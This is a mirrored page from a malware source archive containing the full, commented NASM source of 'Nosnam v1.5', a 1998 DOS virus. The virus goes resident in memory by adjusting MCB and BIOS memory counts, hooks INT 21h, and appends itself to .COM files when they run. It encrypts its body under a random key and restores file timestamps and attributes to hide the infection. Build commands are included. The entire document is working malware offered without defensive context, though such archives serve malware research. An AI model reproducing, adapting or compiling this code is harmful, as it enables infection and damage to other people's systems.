mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
265 lines
14 KiB
NASM
265 lines
14 KiB
NASM
; ------------------------------------------------------------------------- ;
|
|
; Nosnam v1.5 coded by KilJaeden of the Codebreakers 1998 ;
|
|
; ------------------------------------------------------------------------- ;
|
|
; Description: `-------------------| Started: 07/06/98 | Finished: 09/06/98 ;
|
|
; `-------------------^------------------- ;
|
|
; v1.0 - TSR *.com appender, direct MCB manipulation style | Size: 430 ;
|
|
; v1.1 - add some XOR,NEG,NOT,ROR encryption to this `---------- ;
|
|
; v1.2 - Infects only files < 1,000 bytes and > 62,000 bytes ;
|
|
; v1.3 - saves and restores the time / date stamps ;
|
|
; v1.4 - infects files with any attributes ;
|
|
; v1.5 - saves and restores file attributes ;
|
|
; ------------------------------------------------------------------------- ;
|
|
; ------> For Christine Moore, For The Codebreakers & For Mind Warp <----- ;
|
|
; ------------------------------------------------------------------------- ;
|
|
; to compile ::] tasm nosnam.asm ;
|
|
; to link :::::] tlink /t nosnam.obj ;
|
|
; ------------------------------------------------------------------------- ;
|
|
|
|
code segment ; name our segment 'code'
|
|
assume cs:code,ds:code ; assign cs and ds to code
|
|
org 100h ; this be a .com file
|
|
.286 ; needed for pusha/popa
|
|
|
|
blank: db 0e9h,0,0 ; define blank jump
|
|
start: call delta ; push IP on to stack
|
|
delta: pop bp ; pop it into BP
|
|
sub bp,offset delta ; get delta offset
|
|
|
|
encryp: jmp first ; jump to first (overwritten)
|
|
lea si,[bp+encd] ; load SI with encrypted area start
|
|
mov di,si ; move that address into DI
|
|
call encr ; call the encryption loop
|
|
jmp encd ; jump to encrypted area start
|
|
|
|
encr: lodsb ; load a byte from AL
|
|
not al ; encryptin 1
|
|
ror al,4 ; encryptin 2
|
|
neg al ; encryptin 3
|
|
xor al,byte ptr [bp+key] ; unencrypt 4
|
|
neg al ; unencrypt 3
|
|
ror al,4 ; unencrypt 2
|
|
not al ; unencrypt 1
|
|
stosb ; store the byte
|
|
loop encr ; do all the bytes
|
|
ret ; return from call
|
|
|
|
key db 0 ; define our key here
|
|
|
|
encd: mov ax,0deadh ; move 0deadh into AX
|
|
int 21h ; if resident, 0deadh is in BX
|
|
cmp bx,0deadh ; check to see if it is
|
|
jne go_rez ; nope, go rezident now
|
|
jmp first3 ; jump to first three
|
|
|
|
go_rez: sub word ptr cs:[2],80h ; lower top of memory data in PSP
|
|
mov ax,cs ; move CS into AX
|
|
dec ax ; decrement AX
|
|
mov ds,ax ; move new value into DS
|
|
sub word ptr ds:[3],80h ; sub 2kb from accessed MCB
|
|
xor ax,ax ; AX to 0 now
|
|
mov ds,ax ; DS is now 0
|
|
sub word ptr ds:[413h],2 ; adjust BIOS data area by 2kb
|
|
mov ax,word ptr ds:[413h] ; move adjusted BIOS mem to AX
|
|
mov cl,6 ; load CL with 6
|
|
shl ax,cl ; multiply BIOS base mem by 64
|
|
mov es,ax ; move the value to ES
|
|
push cs ; push CS again so you can
|
|
pop ds ; restore DS to original value
|
|
xor di,di ; DI is now 0
|
|
lea si,[bp+start] ; SI loaded with start address
|
|
mov cx,finished-start ; # of bytes to write
|
|
rep movsb ; load virus into memory
|
|
|
|
hook: xor ax,ax ; ax to 0
|
|
mov ds,ax ; DS to 0
|
|
lea ax,isr ; point IVT to new ISR
|
|
sub ax,offset start ; subtract start offset
|
|
mov bx,es ; move extra segment into BX
|
|
|
|
cli ; clear interrupts
|
|
xchg ax,word ptr ds:[21h*4] ; getting Int 21
|
|
xchg bx,word ptr ds:[21h*4+2] ; into bx and ax
|
|
mov word ptr es:[oi21-offset start],ax ; save old int 21
|
|
mov word ptr es:[oi21+2-offset start],bx ; save old int 21
|
|
sti ; restore interrupts
|
|
|
|
push cs ; push code segment register
|
|
push cs ; push it again
|
|
pop ds ; put it into DS
|
|
pop es ; put it into ES
|
|
|
|
first3: lea si,[bp+buffer] ; restore first three bytes
|
|
mov di,100h ; 100h to restore them too
|
|
push di ; push 100h on to stack
|
|
movsb ; move one byte
|
|
movsw ; move one word
|
|
retn ; return control to host
|
|
|
|
isr: pushf ; push all the flags
|
|
cmp ax,0deadh ; have we added check value?
|
|
jne exec ; yup, wait now for 4bh
|
|
mov bx,0deadh ; nope adding it now
|
|
popf ; pop all flags
|
|
iret ; pop cs:ip+flags from stack
|
|
|
|
exec: pusha ; push all registers
|
|
push ds ; push DS
|
|
push es ; likewize for ES
|
|
cmp ah,4bh ; something being executed?
|
|
je main ; yup, on with the infecting
|
|
jmp exit2 ; naw, jump to original ISR
|
|
goexit: jmp exit ; need this to make the jump
|
|
|
|
main: push bp ; save original delta offset
|
|
call tsrdel ; push IP on to stack
|
|
tsrdel: pop bp ; pop it off into BP
|
|
sub bp,offset tsrdel ; get 2nd delta offset
|
|
|
|
push ds ; push DS again
|
|
pop es ; and pop it into ES
|
|
mov di,dx ; move file info into DI
|
|
mov cx,64 ; 64 byte filename possible
|
|
mov al,'.' ; load al with .
|
|
cld ; clear direction flag
|
|
repnz scasb ; scan until . is hit
|
|
cmp word ptr ds:[di],'OC' ; check for .CO-
|
|
jne goexit ; not a .com file, exit
|
|
cmp word ptr ds:[di+2],'M' ; check for .--M
|
|
jne goexit ; not a .com file, exit
|
|
|
|
mov ax,4300h ; get file attributes
|
|
int 21h ; we have the attributes
|
|
push cx ; save attribute #1
|
|
push dx ; save attribute #2
|
|
push ds ; save attribute #3
|
|
|
|
mov ax,4301h ; set file attributes
|
|
xor cx,cx ; to none at all
|
|
int 21h ; file is ready now
|
|
|
|
mov ax,3d02h ; open the file now
|
|
int 21h ; open it up now
|
|
xchg bx,ax ; move the info
|
|
|
|
push cs ; push code segment register
|
|
push cs ; push it again
|
|
pop ds ; put it into DS
|
|
pop es ; put it into ES
|
|
|
|
mov ax,5700h ; get the time / date stamps
|
|
int 21h ; got them now
|
|
push dx ; save value #1
|
|
push cx ; save value #2
|
|
|
|
mov ah,3fh ; the record function
|
|
lea dx,[bp+buffer] ; record bytes here
|
|
mov cx,3 ; record three bytes
|
|
int 21h ; restore them now
|
|
|
|
mov ax,4202h ; scan to end of file
|
|
cwd ; dx to 0
|
|
xor cx,cx ; cx to 0
|
|
int 21h ; DX:AX = file size now!
|
|
|
|
cmp dx,0 ; is the file < 65,535 bytes?
|
|
jne close ; way to big, close it up
|
|
mov cx,word ptr [bp+buffer+1] ; move buffer+1 into CX
|
|
add cx,finished-start+3 ; virus size + jump
|
|
cmp ax,cx ; compare file size and CX
|
|
jz close ; if equal, close it up
|
|
cmp ax,1000 ; compare 1000 bytes with CX
|
|
jb close ; file too small, close it
|
|
cmp ax,62000 ; compare 62,000 bytes with AX
|
|
ja close ; file too big, close it up
|
|
|
|
sub ax,3 ; subtract 3 from filesize
|
|
mov word ptr [bp+newjump+1],ax ; write as our new jump
|
|
|
|
mov ax,4200h ; point to start of file
|
|
cwd ; dx to 0
|
|
xor cx,cx ; cx to 0
|
|
int 21h ; now pointing to start
|
|
|
|
mov ah,40h ; write to file
|
|
mov cx,3 ; three bytes
|
|
lea dx,[bp+newjump] ; write this
|
|
int 21h ; jump is written
|
|
|
|
mov ax,4202h ; scan to end of file
|
|
cwd ; dx to 0
|
|
xor cx,cx ; cx to 0
|
|
int 21h ; now pointing to end
|
|
|
|
in al,40h ; get random value
|
|
mov byte ptr [bp+key],al ; save as our key
|
|
|
|
mov ah,40h ; write to file
|
|
lea dx,[bp+start] ; where to start
|
|
mov cx,encd-start ; # of bytes to write
|
|
int 21h ; write those bytes
|
|
|
|
lea di,[bp+finished] ; DI points to encrypted area end
|
|
push di ; save value, we need it in a minute
|
|
lea si,[bp+encd] ; SI points to encrypted area start
|
|
mov cx,finished-encd ; # of bytes to encrypt
|
|
push cx ; save value, we need it in a minute
|
|
call encr ; encrypt those bytes now
|
|
|
|
mov ah,40h ; write to file
|
|
pop cx ; use that saved value from before
|
|
pop dx ; use the other saved value
|
|
int 21h ; write those bytes
|
|
|
|
close: mov ax,5701h ; set time / date stamps
|
|
pop cx ; from saved value #2
|
|
pop dx ; from saved value #1
|
|
int 21h ; time / date is restored
|
|
|
|
mov ax,4301h ; set file attributes
|
|
pop ds ; from saved value #3
|
|
pop dx ; from saved value #2
|
|
pop cx ; from saved value #1
|
|
int 21h ; attributes restored
|
|
|
|
mov ah,3eh ; close the file
|
|
int 21h ; file is closed
|
|
|
|
exit: pop bp ; pop the original delta offset
|
|
exit2: pop es ; pop ES from stack
|
|
pop ds ; pop DS from stack
|
|
popa ; pop all registers
|
|
popf ; pop all flags
|
|
db 0eah ; jump to original ISR
|
|
|
|
; ---------------------------( The Data Area )----------------------------- ;
|
|
; ------------------------------------------------------------------------- ;
|
|
|
|
oi21 dd ? ; old int 21 goes here
|
|
buffer db 0cdh,20h,0 ; terminates 1st gen
|
|
virname db 'Nosnam',0 ; the virus name
|
|
newjump db 0e9h,0,0 ; blank jump 1st gen
|
|
finished label near ; the offset label
|
|
|
|
; ---------------------( Not Saved / Not Encrypted )----------------------- ;
|
|
; ------------------------------------------------------------------------- ;
|
|
|
|
first: lea di,[bp+encryp] ; load with start address
|
|
lea si,[bp+new] ; load with bytes to move
|
|
movsw ; move two bytes
|
|
movsb ; move one byte
|
|
jmp encd ; jump to encrypted area
|
|
|
|
new: mov cx,finished-encd ; this will overwrite the jump
|
|
|
|
; ------------------------------( The End )-------------------------------- ;
|
|
; ------------------------------------------------------------------------- ;
|
|
|
|
code ends ; end code segment
|
|
end blank ; end it all / where to start
|
|
|
|
; ------------------------------------------------------------------------- ;
|
|
; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ;
|
|
; ------------------------------------------------------------------------- ;
|
|
|